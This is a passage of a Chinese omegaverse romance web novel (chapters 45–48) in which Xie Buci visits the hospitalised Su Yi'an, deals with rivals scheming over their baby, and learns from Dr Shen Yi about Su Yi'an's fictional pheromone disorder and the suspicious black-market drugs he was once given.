不过用谢不辞的话讲,男朋友和孩子爸肯定要分孰重孰轻,所以他还专门给谢不辞开了个特权:“你可以给孩子冲完奶粉再出去。” 谢不辞一听就知道这是苏以安在给他台阶,完全没想过可能有人家身体情况不太允许的情况在,他想都没想就拿上雪团的奶瓶,拖着欲言又止的头牌哥出去。 中途俩人还暗自较劲,谁也掰扯不动谁。 最后实在是没拧巴过谢不辞,头牌哥才在苏以安看不见他的那块地方开口:“你好好休息,我明天还会过来看你的。” 他这话都没说完,谢不辞就在他还想回头的时候一脚把他踹了出去。 随后关门上锁,动作一气呵成。 在知道头牌哥不会立马离开的情况下,还隔着门朝外面喊了一句:“这个是我的哥们,没你啥事了,你不用来了。” 门外立马传来了拍门的声音,只不过头牌哥在外面你了半天也没说出一句完整话来。 谢不辞也没搭理他,重新走到病床前,按了一下床头铃,对着护士站那边讲道:“你好,我们这个病房外有流氓守着,那流氓还拍门,不利于其他病人休息,快把他轰走。” 说完谢不辞还专门关注了一下苏以安的表情,带着几分心虚的开口:“冲奶粉我现在就去。” 苏以安没理会他的避重就轻,把刚才的话重复了一遍:“我让你也出去。” “那是在外人面前的说辞,我都懂。” “现在没有外人了,咱俩之间不用说那有的没的。” 苏以安刚才看谢不辞跟头牌哥小学生吵架都没笑,这会听见谢不辞这套说法倒是想笑:“你臭不要脸这一套,只在我身上用啊?咱俩很熟吗。” 谢不辞拿开水壶烧水的动作没停,听见苏以安的话还认真思考了一下,然后郑重点头:“嗯。” 蒋泽前阵子就讲了,想把人追回来,除了要合理的争风吃醋以外,还得学会跟老婆耍无赖。 所以他觉得自己刚才那一套操作下来,直接就是可以写进教科书的程度。 他这人别的优点没有,就是悟性高。 “怎么,对人家那么大的戾气,吃醋啊?” 谢不辞没好意思直接回答:“你没听说过,情敌见面分外眼红吗。” 随后可能觉得程度还不够,又补充道:“你是孩子爸的时候能挑我这边哪个后爸都不行,那你找的那些玩意,我是孩子爸我应该也能看不上的吧?” 头牌哥能教雪团什么?染黄毛骗小姑娘?还是跟精神小伙似的教下雨要摇花手飞回去? 其实谢不辞想跟苏以安说,哪个后爸都不如亲爸好,要是真那么不放心,他俩也不是不能凑合过。 但因为有前科,他觉得这话不应该他来说。 毕竟,凌望那边,好像又是因他而起。 然后苏以安就给他扔了个新的坑过来:“那你猜猜他是因为什么才过来的。” “或者我换个说法,你想不想听听我们俩是怎么凑到一块去的?” 第45章 第 45 章 这个话题, 一听就让人觉得不会是什么好事。 不过这可是苏以安头一次主动要跟他讲什么,谢不辞虽然觉得有点别扭,但还是给了面子:“既然你都这么开口了, 那我也不是不能勉为其难的听一听。” “勉为其难啊?不用, 别难为自己, 我不说了, 你出去记得把门带上。” 苏以安还想整两句把谢不辞架起来的, 像什么有素质不会打扰病人休息之类的,谢不辞没给他机会,立马抢先:“我错了行了吧。” “我就出去俩小时,那不就我刚走,你就把他喊过来了吗,你喊他干啥?” 搁谢不辞的角度看,这都要聊上了, 苏以安八成也不是真的想让他走,于是在听见回复之前,还特别自来熟的拽出了放在床头与墙角之间的那把折叠椅子。 然后对着椅子研究着怎么打开。 因为以前没用过这玩意, 病房里空间也狭小, 于是病房里唯一摆放绿植的那玻璃瓶就被谢不辞扒拉到地上, 伴随着清脆的响声,四分五裂。 没记错的话,花应该是沈伊今天早上送来的。 本来打碎个花瓶也不是什么大不了的事情,谢不辞有毛手毛脚这种毛病苏以安也不是头一天知道。 可雪团听见动静就被吓了一激灵,随后立马紧紧攥着苏以安的袖子哭。 谢不辞带了雪团那么久,就连孩子之前被吓到病了一个礼拜, 都没哭成这样。 也许有亲爸爸在身边的原因,他哭得比之前任何一次委屈, 连谢不辞听着都心疼。 谢不辞原以为,动静是他制造出来的,孩子也是被他吓的,苏以安以前骂他那么顺口,这次肯定也得骂。 结果苏以安什么都没说,甚至看都没看他一眼,只沉默的抱着雪团,揉着孩子的脑袋哄。 明明苏以安手上还留着输液针扎出来的淤青,明明他过来之前路过护士站那边还听见有人说苏以安起码还得在这住几天。 病了也要哄孩子,一个人待在医院。 他都不敢想这需要多强大的心理素质。 谢不辞没有专门打听过苏以安以前过得都是什么样的日子,只能隐隐感觉到不是那么容易。 但这次如果沈伊没帮苏以安这一把,苏以安很难活下来,也根本没有任何能力保护自己的孩子。 以至于,谢不辞好像忽然就明白了,不是他做了什么特别让人心灰意冷的事情导致苏以安不喜欢他了,而是他从来没拿出一点让人觉得他可以相信的实际行动。 在他帮苏以安解决掉所有外在麻烦之前,他们都谈不了爱不爱。 他的注意力重心永远在跟拿不出手的情敌幼稚得争风吃醋,他不允许苏以安身边有任何乱七八糟的alpha靠近,却从没仔细思考过苏以安为什么在这种时候从来不说话。 还不偏不向。 圈子里两个老板抢一个情人的情况多了去了。 两个老板都一时起意靠不住,偏偏被夹在中间的情人,两个都得罪不起。 所以同理,苏以安能那么平静的告诉他是凌望给钟家透露消息,有拿主要加害者没有办法的原因在,就无所谓是谁在告密。 谢不辞想凑过去帮忙哄哄孩子,苏以安感觉到他的意图以后偏过头看了他一眼,叹了口气跟他说道:“把碎片收拾一下,然后出去吧,我自己能哄。” 谢不辞没说话,把碎掉的玻璃收进垃圾桶,还拿卫生间的拖把将地上的水擦干,全程没说一句话,临走还把病房的门关好。 出去以后,他本想去沈伊办公室问问情况,但又觉得病房不能没人守着,就只得坐在走廊椅子上。 有沈伊的关系在,苏以安住的也是这家医院最好的病房,现在不是半夜这种豪门里事故多发时间段,走廊里相对还是挺安静的。 翻出手机,看见的第一条消息就是他们那个小群里的。 是蒋泽的消息:[哥们,你这么搞一劳永逸啊?] 谢不辞回了个问号。 蒋泽还有点诧异,反问他怎么可能不知道。 然后在群里发了个模糊不清的视频,还配了一两句话解释。 简而言之,就是苏以安那个alpha亲爹,在被逼到走投无路寻思歪门邪道的时候,被以前某个仇家找上门,捅了十好几刀,都没等到救护车过来人就没了。 昨天晚上十一点多的事情。 场面有点血腥,角度像是偷拍的,离得有点远,也听不清那边到底起了什么争执。 但这么正好的偷拍到完整的过程。 看起来就像蓄意谋杀。 谢不辞敲字回复:[跟我有啥关系啊,又不可能是我指使的。] 而且这也绝对不是他们家能干的出来的事,毕竟谢不辞从小受到的教育就是做人要留有余地。 谢不辞他爸这种看起来就像是吃斋念佛的人,下手再狠也不可能都不让人家活着。 因为清者自清,这件事无论如何都不可能真的污蔑到他们身上来。 所以谢不辞看见的第一个想法就是,钟家老一辈的人不在了,户主死了,苏以安是不是就可以自立门户了。 钟家那两个儿子没准到这种时候就已经要大难临头各自飞了,没人会分出闲心思来管苏以安怎么样。 反正谢不辞以前是觉得,钟家这两个儿子虽然没玩物丧志,但也担不起什么大事来。 他们会死盯着苏以安主要原因绝对在那已经死了的渣爹身上。 钟家人就总能在相处中透露出一种,他们一定不能深交的感觉。 具体的谢不辞还形容不出来,只知道从小就很反感钟漫川。 蒋泽发这两条消息也是带了点不可思议的阴阳怪气,所以谢不辞还特别正经的解释了一句:[真不是我。] 他要敢给钱忽悠人家仇家干这种借刀杀人的事,他爸得把他逐出族谱。 随后蒋泽又问谢不辞准备做点什么,谢不辞说还不知道。 苏以安肯定不想报复来报复去的,他只希望带孩子能过得安稳一点就好了,可谢不辞咽不下这口气。 谢不辞这件事的各媒体头条都给方明之转发了一遍,特意强调跟他家没有关系以后,才让对方把消息转告给苏以安。 也算是压抑这么久,给苏以安一点好消息听。 没记错的话,这边的律法只是对户口进出方面卡得特别死,户主去世以后成年健康子女想自立门户交个申请就好了,当天就能办完手续。 发完消息谢不辞见里面听不见雪团的哭声了,觉得苏以安也不会有什么特别急的事情喊他进去,才往沈伊办公室走。 沈伊是这家医院外科最年轻的主任医师,出国留学了很多年,临床经验也丰富。 他今年二十八,比苏以安大了四岁。 在成熟稳重这方面,谢不辞跟人家肯定是没法比。 医院本身就很忙,谢不辞进办公室时,沈伊手里还拿着好几张片子研究。 谢不辞进去以后,坐旁边喝空了三杯水沈伊才有空搭理他。 且开口就语气不善:“找我做什么,问他现在怎么样了?” “嗯。” 沈伊倒是没什么特别的反应,例行公事一般从抽屉里拿出厚厚一摞病例翻了又翻。 不过倒是没一开始就直奔主题:“他到现在都没想好第二个孩留还是不留。” “他没直接跟我讲,不过我知道,这好事除了你,不会有第二个人干得出来。” 可能跟职业有点关系,沈伊这会就给谢不辞一种,让人脊背发凉的秋后算总账的感觉。 “倒也没什么的,起码人死不了。” “你知道他后面跟我讲了什么吗。” 说到这沈伊还专门停顿了一下,观察了谢不辞的反应才开口:“他说,我不值得他花这么多的心思。” 因为被拒绝的原因是不玩好人家的孩子,中途沈伊也不是没学着夜场那些吊儿郎当的alpha的样子,动作生疏的抽烟,专门挑烈酒喝。 然后苏以安告诉他,不要丧失自己的优点。 他的优点应该是温文尔雅平易近人,会有人像他喜欢别人一样喜欢他。 可无论苏以安怎么规劝,他都始终放不下。 “我这个人太执着了,以至于他最后跟我说的是。” “这个世界上,什么东西属于他已经固定了,他就算和你这样的人拉拉扯扯一辈子也没什么关系,只不过,不应该再牵扯更多的人进来了。” 谢不辞闻言心情还挺复杂的。 他能感觉到沈伊认为输给了他这样的人很挫败。 可是说句不好听的,沈伊输了,他也没赢呀。 “好了,我们言归正传。” “从他身体各项指标来看,他生雪团的时候,应该因为信息素原因经历过一次大出血,抢救回来挺不容易的,身体各项指标都偏低。” “有的甚至跌到了危险值。” “信息素功能障碍是种很难根治的病,不管用什么样的医疗手段,第二个孩子都没法打包票一定能保住。” 谢不辞能感觉到,沈伊很细心,怕他听不懂,专门过滤掉了一些晦涩难懂的专业名词,只挑最重要的讲。 “直接把孩子流掉也很危险,我前面说了,他生雪团的时候经历过一次很危险的大出血,他的身体无法负荷第二次这样的伤害。” “他都知道。” 他都知道。 这话比前面任何一句都要沉重。 “哦对了,你跟艾德斯见过了吧?” “艾德斯说有关于你家的新闻,不是什么好的方面,这个你听说了吗。” 话题跨度有点大,谢不辞脑子还没完全转过来。 听见这话下意识就反问:“什么新闻?” 第46章 第 46 章 沈伊不是什么八卦的人, 也没有听人墙角的癖好,只路过苏以安病房的时候听见了他俩不知道是谁,说了一句谢不辞的名字。 他原本没想在这方面跟谢不辞多说, 但出于相识一场又希望苏以安过得好的心态, 还是过嘱咐了一下:“我觉得艾德斯不是什么好人, 起码他接近苏以安的目的并不单纯。” “或许, 提你只是为了见苏以安的噱头呢?” “我猜的, 他这个人有点偏激和暴力倾向,也可能是不想竞争,计划用一些见不得光的手段来搞你,你自己多留心吧。” 说完沈伊也没给谢不辞留面子,直接把人轰出了办公室。 谢不辞回病房还轻手轻脚的。 雪团不哭了却也没睡觉。 不到一周岁的孩子是真的小,而且雪团本身也是喜静的性格,不是很爱说话, 经历这么一遭,就更不爱开口了。 苏以安没专门讲,孩子被吓到以后很难睡完整觉, 身边离不开人, 更不能两个亲爸爸都不在场, 还没有熟悉的信息素味道。 谢不辞进门的时候,见雪团抬着小脑袋看了他一眼,紧接着又毫不犹豫的钻回苏以安怀里。 有一说一,现在他跟苏以安见面多少带点尴尬。 因为都心疼孩子,两个爸爸都半斤八两,谁都算不上是个称职的。 “去干嘛了这么快就回来?” 自怀了老二开始, 苏以安就对谢不辞的信息素异常敏感,大部分时间都能从信息素中察觉出谢不辞的情绪变动。 所以苏以安不光知道谢不辞坐在门外走廊长椅上, 还大概记得他是什么时候走的。 “去找沈伊唠了会。” “他说……” 一扯到这里话题就不可避免的变得沉重,话都到了嘴边,谢不辞也没想好要不要开这个口。 真如苏以安最开始所说,但凡他们两个之间,是谢不辞一手制造出来的麻烦,次次都像要置苏以安于死地一样。 “干嘛,又情敌见面啊?你怎么这么多情敌。” 也许他们就走不了煽情路线,反正看谢不辞这副样子,苏以安只觉得各种别扭:“你说点正经的。” 谢不辞也很给面子的听懂了苏以安不想连这个话题的暗示,立马换了一个:“我出去之前那会你是要跟我说什么?” “不太好讲,感觉要从头到尾说,没准跟你唠俩小时都不够。” 于是苏以安还给简单总结了一下。 大概就是,苏以安之前让头牌哥去他家里翻大学毕业之前画过的一副半成品油画,说要带去A国给指导老师。 本来是打算着,连谢不辞对门的那间房都要不租了,到时候直接把密码发给头牌哥让他进去找。 可定好的日子里,出现了钟家这样的意外。 然后头牌哥很长时间都联系不到苏以安,后面等苏以安清醒,又觉得住个院也算不上什么大不了的事情,也没告诉头牌哥他在哪个医院。 于是哥就觉得很不平衡,把原因归结到了谢不辞这个孩子爸身上。 拉拉扯扯了半天,头牌哥最后说有点谢家生意场上的内幕消息,要见到苏以安才能讲。 苏以安答应了。 从A国礼仪角度出发,在头牌哥的眼里,苏以安发了地址,就算是专门邀请他过来。 虽然面对面交流头牌哥说的事无巨细,但经济和金融方面的东西苏以安听不懂,也很难判断真假,没法跟谢不辞细讲。 而且更主要的一方面原因是,苏以安也根本没记住什么。 “他大概主要是想说,没什么东西是经久不衰的吧,总有生意不见什么起色的时候。” “知道你家有家底不会轻易倒台,但还是注意一些,对周围人多点戒心,万一呢。” 最初苏以安叙述的时候,谢不辞还没当回事,觉得最多算是头牌哥为了见苏以安随便找的借口。 但最后几句,他都能感觉到苏以安尽极大努力把措辞变得温和了,细琢磨一下也还是能根据内容判断出头牌哥说这些话的时候有多嚣张。 这种跟家里生意有关的东西,除了大家都知道的表面合作,公司内部都只有专门负责项目的部门知道细节。 这消息获得渠道也不太正规吧? 而且谢不辞也不太明白他怎么敢拿这个来忽悠苏以安。 苏以安不图钱,更不可能图谢不辞这个人,所以没有必要专门在这个方面进行抹黑, 那专门说这个是什么动机?觉得苏以安会告诉他,很有自信觉得绝对能搞垮他们家在下战书? “那头牌哥什么背景?” 苏以安不以为意:“你都说了是头牌哥了,还能有什么背景,被omega金主包养的小白脸呗。” 谢不辞抓重点的方式总是和别人不太一样,说出来的话也够让人无语:“所以是你给他赎身的?” “……” 苏以安没好意思槽他。 什么年代了还用赎身那一套。 “真是啊?!” 谢不辞直接把苏以安不说话这行为理解成了默认,后面规劝的话张口就来:“头牌,这玩意靠谱吗,包天包月也就算了,包年都得怕玩腻了深思熟虑,咋还能给赎身呢?” 该说不说,谢不辞天生有一种,他一张嘴就能让你特想锤死他的天赋。 苏以安望向他,思考了两秒,然后告诉他:“我觉得你现在也许有比在我这扯闲篇更重要的事。” “要不你回家看看呢?” 这才刚出了钟家老总被人捅死的事情。 钟家大儿子钟漫川也差不多是个为了利益不择手段的人,但因为没什么真本事,学的都是村头大妈一哭二闹三上吊的套路。 保不齐这会就已经找了一大堆记者蹲谢不辞他们家门口躺地上就哭,说谢不辞他爸虚伪,说多年宿敌就为等着杀人灭口的今天呢。 那个歪曲事实的能力,谁遇见谁知道。 明明这件事里,大家都觉得可能是他们家做的,但谢不辞就是能坐在他还坐得很踏实。 “回家干嘛?” “哦,也行,我妈中午炖了鱼汤,你要喝我给你带点过来。” “……都行吧。” 谢不辞离开之前,雪团就已经迷迷糊糊要睡着了。 苏以安让他回家看看,他也没多想,车都开出医院门了,才恍惚意识到—— 他要是离开了,钟家还有人找苏以安麻烦怎么办。 确实是家里爹不在了,但也没到要给人姓钟的灭族一个都没剩的地步呀。 在钟家那两个儿子的眼里苏以安一定是软柿子。 好巧不巧的,苏以安手里还有点钱。 这个社会……应该不至于出现什么杀弟弟骗保的情况吧?苏以安有保险吗? 趁着等红灯的间隙,谢不辞还给苏以安打了个电话过去。 结果还没接通,他就收到了头牌哥发来的消息。 [我给你准备了个惊喜。] 谢不辞皱着眉把那几个字看了好几遍。 净整这些有的没的。 头牌哥这人就有点神神叨叨的。 在谢不辞这边给苏以安打的电话自动挂掉之前,头牌哥那边又发了新的截图过来。 是一张被码掉了头像的聊天记录截屏。 头像码了,备注倒是没有,是一个特别直白的0。 图里文字消息十分简洁,就几句话,还说得特有霸总味。 那头:位置。 头牌哥发了位置消息过去,然后还回了文字消息:少说话。 那头继续:你别管。 位置消息是苏以安所在的医院,头牌哥甚至连病房号都发了过去。 谢不辞越看越觉得不对劲。 咋的?要入室抢劫啊? 劫财劫色?还是偷小孩? 不至于光天化日的这么没有边界感吧? 头牌哥见他不回消息,还发了个看起来更装b的表情包过来,附文字:[你猜他们聊完,苏以安会怎么看待你。] 谢不辞又不断把图片放大看了半天,头像码得严严实实,唯一的信息就是那个0。 0什么?这人谁?这数字怎么了? 头牌哥是alpha的话,0就是omega的意思? 就在谢不辞烦躁得想把手机扔到一遍的时候,脑子里忽然冒出来一个念头。 这个0……该不会是谐音的意思吧? 然后联想一下就是,凌望。 他又看了一眼图片上发消息的时间,已经是一个小时之前了。 凌望昨天才回来的,住的地方离这个医院大概也就半个小时的路程,假设他收到位置立马出门的话,现在应该已经跟苏以安唠了半个小时了。 谢不辞深吸一口气,然后掉头,重新开车回了医院。 第47章 第 47 章 在还没回到病房这十几分钟的时间里, 谢不辞脑补出了无数种两个omega为了他这老渣男撕逼的场景。 因为凌望在外面营造的是家里惯坏了的外国小少爷人设,所以谢不辞脑的大戏里还被细分成了凌望维持人设版or不维持人设版。 与之匹配的就是苏以安心情好版本和心情不好版本。 毕竟谢不辞自己也很清楚,苏以安面对他和面对别人时是两种截然不同的态度, 甚至说是两个人都不夸张。 以至于在与跟他有关的人接触时, 心情好就是沉默无视离开, 心情不好就会像上次说在医院看见了他前男友一样, 嘴毒得谢不辞思考半天都找不到反驳的词来。 那暴躁少爷和心情不好的苏以安撞到一起…… 不对, 还有孩子呢。 他家雪团本身这两天被吓到就爱哭又离不开人,到时候苏以安就是要么为了孩子受委屈,要么跟凌望掐起来再吓孩子一次。 无论是哪种,都会变成他追老婆路上的超绝debuff。 谢不辞越想越觉得可怕,到地方以后进电梯都是直接窜进去的。 这一整层都很安静,就算只差了一两件病房,都没法从外面听见病房内的交谈声。 谢不辞过去也没敲门, 见门是虚掩着的,匆匆忙忙就推门进去。 感觉到劲使大了,病房门马上就要撞到墙上, 为了防止再吓到孩子, 谢不辞立马眼疾手快的拽住门把手。 只不过还是晚了一步, 虽然没弄出多大的动静,但也还是让屋内的人注意到了他。 面对三双齐刷刷看向他的眼睛,谢不辞尴尬的扯出一个笑:“聊着呢?” 他猜得没错,来的就是凌望。 看起来那么气定神闲的,也不知道是刚来,还是已经坐下好长时间了。 苏以安没什么特殊的反应, 甚至也没准备开口问他为什么又回来了。 不知道是不是谢不辞的错觉,他总觉得苏以安身上增加了一种孱弱的气质, 脸上看不见什么血色,身上套着宽大的病号服,也没有什么表情,浑身上下都透着平静的绝望感。 “说啥呢给我听听呗?” 谢不辞径直走进去。 这次根本没客气,没多此一举的整折叠椅子,连被子都没挪一下,直接坐在了病床床尾。 “咋的?我这么见不得人啊说话都不让我听?” 凌望闻言朝谢不辞笑了笑:“我们能聊什么,就随便说一说,反倒是你,为什么对我那么大戒心?” 谢不辞没接话,将信将疑的望向苏以安。 都没等他专门开口问,苏以安就立马会意:“我们聊得可好了,谈人生谈理想,那简直相见恨晚,但凡一想到我现在才跟他认识,我就半夜睡着了都得起来给自己两巴掌。” 阴阳怪气到这份上,好像生怕他听不出来这是反话。 但谢不辞这人吧,天生就没什么情商。 他根本理解不了苏以安是什么意思,只知道肯定会因为凌望来这一遭不开心。 刚开始谢不辞还在因为聪明的知道回来沾沾自喜,这会就笑不出来了。 他猜头牌哥跟凌望是串通好了的,一个来骗苏以安,一个不择手段的想拿下他。 “看吧,小苏还是很喜欢我的,你把我想成什么样的人了。” “既然你这么不想见我,我也可以现在就走,不打扰你们的二人时间。” 谢不辞一愣。 按他脑补剧情来看,现在不应该是这么发展的。 他拿的可是英雄救美剧本。 现在应该到了苏以安被情敌各种言语羞辱外加人身攻击,受了天大的委屈那个阶段。 他得先解决掉明面上的情敌麻烦,再安抚好身心皆受伤的老婆。 现在他还没准备好发挥呢,凌望就真的拿起外套起身准备离开。 紧接着他又听见苏以安的声音:“让你回来了吗你就来,你看看,你来了人家就走了。” 该说不说,挺难为谢不辞那本身就没怎么用过的脑子的。 就这个情况,他连顾哪头都看不出来。 但有犹豫的这个空隙,凌望都已经出了病房门了。 想着人走都走了,也没必要再给叫回来,谢不辞索性就关了门,踏踏实实的坐在苏以安床上。 “你俩认识啊?他找你说啥?” “你病房号都是头牌哥给他的,他俩肯定都不怀好意。” “我知道啊。” 这四个字就把谢不辞前边说的所有都回应了一遍,苏以安也不往下接着说,就让谢不辞看他干着急。 “除了知道就没了?” 谢不辞发现苏以安好像特别热衷于话说一半,然后看他急得恨不得在原地转两圈。 “你还想听什么?” 问得很好,谢不辞还真不知道怎么回答。 他过来之前他们说了什么?苏以安是不是提前就知道凌望想来找他?还是苏以安为什么不开心? 不过这好像都不是重点。 这套卷子,在谢不辞手里,就是无论怎么做都是零分。 “他跟我说,他挺喜欢你的。” 苏以安本来是想给谢不辞提个醒,因为从刚才跟凌望的交流中来看,凌望这人很阴暗。 跟苏以安这种对什么都无能为力,靠攀附唯唯诺诺活着的不一样,凌望一开始就知道命运不归自己掌控,所以想要什么都得自己拼命争取。 同时他也尝到了当面一套背后一套的甜头,学会了享受靠说谎得来的好处。 包括但不限于出去玩得来的钱,各种类型alpha的追捧。 他和苏以安说,他是真的喜欢谢不辞,只是他这人也真的不择手段。 他想得到的,从没失手过。 他的行事风格就是,配不上的可以转八百个弯借用各方力量毁掉,然后以救赎一样的方式出现,让对方觉得他简直是全世界最好的人。 这个时候他会借用家里资源象征性的帮一把,如果谢不辞爬的起来,那是谢不辞有本事,他还能捞到好处。 如果不能,那他还可以玩够了换下一个更有能力更值得栽培的目标。 这趟他来找苏以安的目的,其实是为了雪团。 不管怎么说,在现有律法面前,最快最有效的让谢不辞身败名裂的方法就是利用孩子。 他刚来的时候,苏以安就知道他不怀好意,只是碍于不清楚对方是什么身份,也没法判断他说的哪一句话是真的,一直维持着客套的表面和谐。 他问苏以安对谢不辞是什么看法,苏以安回答没有看法。 凌望很聪明,凭这一句话,就摸清了两人之间的关系—— 苏以安不爱谢不辞,甚至有点想撇清关系,至少现在表面上能看到的一切都是谢不辞的一厢情愿。 而且雪团也并非苏以安自己想生的。 不过孩子嘛,亲生的,没有那么容易割舍,所以凌望刚开头就开出了特别丰厚的条件。 在苏以安的思想里,雪团绝对不能成为第二个他,所以凌望的条件,他根本没有耐心听完。 拒绝得十分果断,并且很明确的告诉凌望,不管跟谢不辞有什么恩怨,都不能牵扯到他的孩子。 凌望倒是也没觉得挫败,立马就拿出了第二套方案:让苏以安拿着病例以谢不辞恶意伤害为由去起诉。 依旧是,开出来的好处十分丰厚。 单单从凌望拿出来的筹码来讲,苏以安确实很难拒绝。 但他不追究谢不辞责任的原因很复杂,而且凌望这种人,说出来的话让人难辨真假,还随时有可能反悔,绝对算不上是什么好合作对象。 他没有跟凌望多讲,也不想就这些话题继续交流下去。 好在谢不辞回来的也还算及时。 其实苏以安也没想故意阴阳怪气,只是他很清楚谢不辞之前对每一个小情人都异常偏袒。 有点心累。 所以苏以安不想在这个时间节点因为这种事情再和谢不辞吵起来。 就算提醒了,他可能也不是被相信的那一个,苏以安就没再开口。 但谢不辞就是个拎不清的,一点眼力见都没有的继续追问:“啊然后呢?然后还说什么了?” “那你自己去问他呗。” “他爱你,他的爱可值钱了。” 说一句爱就要谢不辞把全部的身家财产赔进去,那可是好几代人积累下来的财富,能不值钱吗。 觉得暗示到这份上已经够讲义气了,结果谢不辞是一个字都没听懂。 还把这些话理解成了苏以安是在吃醋,开始自顾自的解释:“虽然当初跟他玩的时候时间确实是长了一些,但是到时间也该甩就甩了呀,你跟他是不一样的。” 说到这谢不辞还有点心虚。 毕竟跟凌望的时候,因为觉得对方在他面前跟乖顺版苏以安实在是太像了,所以谢不辞几乎没睡过凌望,玩的是纯爱那一套。 正常的跟人家买花约会,会预定餐厅亲自精心筹划约好的晚餐,会送礼物会给准备惊喜。 目前来讲,苏以安还没有享受过这样的待遇。 在谢不辞的角度看,他也想跟苏以安好好相处,只不过苏以安油盐不进,怼他的话张嘴就来,以至于大多数时候都会莫名其妙的滚到一起。 “你不要拿我跟他比,他就根本不是什么好玩意。” 不知道是不是被凌望影响了心情,平常这种话苏以安都懒得跟谢不辞争辩,但现在就是较劲,一定要掰扯明白。 “好我都知道,你放心,你是最特殊的,你要是不喜欢凌望,我就不跟他往来了。” 苏以安:…… 这说不了,挺让人无语的。 要不是孩子还在,他当面就得骂出来一句,妈的傻逼。 第48章 第 48 章 苏以安没说话, 但谢不辞能从他身上信息素的味道跟察觉出他心情不太好,为了防止继续说错话,谢不辞还很有眼色的选择了闭嘴。 然后便岔开话题。 他觉得苏以安身体不好一直抱着孩子肯定很累, 就跟雪团商量想自己抱一会。 孩子是听话的, 只不过这种时候就是怎么都不愿意离开感情更深一点的亲生爸爸。 后面病房门外又响起敲门声。 紧接着穿着白大褂的沈伊带着两个小护士从门口进来, 还开口第一句就是让谢不辞先出去。 谢不辞先是小心翼翼的观察了一下苏以安的表情, 然后转头望向沈伊:“你要不把我当家属, 有什么事先跟我说呢?” 沈伊皱眉,随后动了动嘴唇,谢不辞一眼就看出他想说些什么不太好听的话。 但不知道后面想到了什么,沈伊合上手中的病历本,对谢不辞招了招手,示意他有话到病房外去说。 两人一同站在走廊里,沈伊开口之前, 还示意谢不辞找个椅子坐。 这一套流程下来有点反常。 反常得谢不辞连站病房门口都有些拘谨。 好像他这个人从基因里就有点怕医生的成分在,平常把沈伊当情敌的时候不觉得有什么的,但沈伊一旦穿正装再带上职业素养, 平静的问他是不是真想听的时候, 他也是真有点害怕。 “后面要说的绝对是你没有听过也不一定查得到的, 我先给你留一分钟做心理准备。” 不说还好,说完就更让谢不辞的心提到嗓子眼。 随后沈伊竟然还真掏出手机定了一分钟的倒计时。 谢不辞不知道过去了多少秒,却能清楚的听见自己严重超速的心跳声,他瞥了一眼沈伊手机屏幕上已经倒数掉十几秒的计时,终于忍不住开口:“沈医生,咱能不钝刀子割肉吗?” 沈伊一点也犹豫, 关掉刚设置的倒计时,把本子里夹着的检查单拿出来递到谢不辞手里。 “这是刚出来的检查结果。” “信息素功能障碍是什么病知道吗。” 谢不辞有些茫然的看了一眼检查结果, 又看了一眼沈伊。 这种病实在不常见。 但众所周知是种几乎无解的病,不致死又无法根治。 染上就要被折磨一辈子。 网上说,病因五花八门的,症状也因人而异,连具体的统计症状都很难查到。 因为病例太少。 可腺体是第二颗心脏。 有的人光是听见病名中带信息素三个字就已经开始害怕了。 谢不辞没觉得这会是什么不严重的病,手里的检查单有好几张,每张上面都是密密麻麻的数值和各种晦涩难懂的专业术语。 他一句话也理解不了。 “我知道你想说什么,网上查不到关于这种病的有用信息。” “我当年执意出国留学,就是为了专门研究这种病,回来做外科医生,也是因为除了苏以安,我见不到这样的病人。” 受众太小,导致他们这边的医学院甚至没法专门聘请到能讲授这方面课程的教授。 沈伊看向谢不辞的眼神有些复杂,从刚给谢不辞的那几张检查结果里挑出了一张数值复杂的。 “你不是想听点家属该听的吗。” “这就是病因。” 沈伊专门找人去A国地下药商手里买下了当年苏以安拿过的所有药。 虽然无法保证买到的是全部,却也是绝大部分。 A国那样的地方,律法中对药品管控算不上严格,官方渠道买药又太贵,地下药商在当地甚至形成了一条完整的产业链。 法不责众,在将近八成市民都不接受管控的情况下,为了维持秩序稳定,地下药品就没再被专门检验过。 只要不吃出大问题去报警,他们那边的高官也都选择睁一只眼闭一只眼。 这样的环境下,最容易出现专药卖给专人的情况。 连特质药品的研究都是黑产业。 手里这张被化验的药品,是沈伊让人周转了好几圈,又花重金找到当地药贩子里说话比较有份量的人牵线才买到的。 交货之前还让拿药的在那边签了生死状。 要沈伊保证拿到了也不许声张,不能给他们那边惹事才愿意给。 这药有多可疑不言而喻。 到手以后沈伊先在自己家开那家医院的化验室自己简单看了看。 里面全是猛药,治病效果难说,还对身体伤害极大。 要只是这些还好,最关键的是,沈伊还在里面发现了成瘾性极强的精神药物。 是那种在他们国家是管控药品,开出去要经过好几个高层签字打申请的东西。 说不好听了,跟毒也没什么区别。 沈伊拿手里的钢笔在检查单上划了一行化学式,让谢不辞上网查这是什么东西。 谢不辞查完以后,握着手机的手都攥紧了些许:“这不是致病因素吧?” 这种类似毒.品的成分,一看就是想趁着苏以安孤身一人在异国他乡,想跳过律法借刀杀人。 “当然不是啊。” 因为这病到底是怎么得的,沈伊目前也不知道。 这种成分在血液中能残留很长时间,对身体的伤害也很难估量,可沈伊给苏以安验血的时候,没发现这个。 他猜是苏以安自己也知道是有人故意想把这药给他,知道不能吃。 只不过当时到底用的是什么药,可能就只有苏以安自己说得出来了。 “所以你是想说,有人故意想用这样的方法无声无息的了结了他?” “不管是谁去查,只要查到他的过往经历,都会觉得他疯疯癫癫才是正常的。” “无人追究,死了也就死了对吗。” “药是谁要给的?” 谢不辞有些难以接受,见沈伊没有立刻回答甚至立马急得去拽沈伊的肩膀,音量也大了好几十分贝:“是谁你倒是说啊!” “我上哪知道去,把这药查出来的时候,是蒋泽先知道的。” “我问他要不要告诉你,他都说不出来话。” 这下谢不辞只觉得更匪夷所思:“你们在顾虑什么?蒋泽查到是谁想用这么下作的手段杀了他了是不是?” 沈伊没说话,谢不辞立马手忙脚乱的翻出手机拨出蒋泽的号码。 听见铃声以后,又觉得重点似乎不该是这个,只得又烦躁的挂掉,重新把视线放到沈伊身上:“算了,你先继续说。” 沈伊把病历本背到身后去,靠到身后走廊的墙壁上,像背书一样的碎碎念:“信息素功能障碍前期对所有抑制成分产生抗性,发情期不规律且单次发情期时间延长,难以度过,期间体温急剧升高,身体各项器官超负荷工作。” “中期没什么明显的症状与反应,甚至是没有中期的,这种病不过度。” “如果真的严重了,他会对所有人的信息素都过敏,包括他自己的,这种时候要么他的免疫机制强制腺体停止产生信息素,要么信息素紊乱,出现所有抑制贴抑制剂都无法遮盖的信息素浓度。” “只要有他在的地方都极易带着别人也信息素失控。” 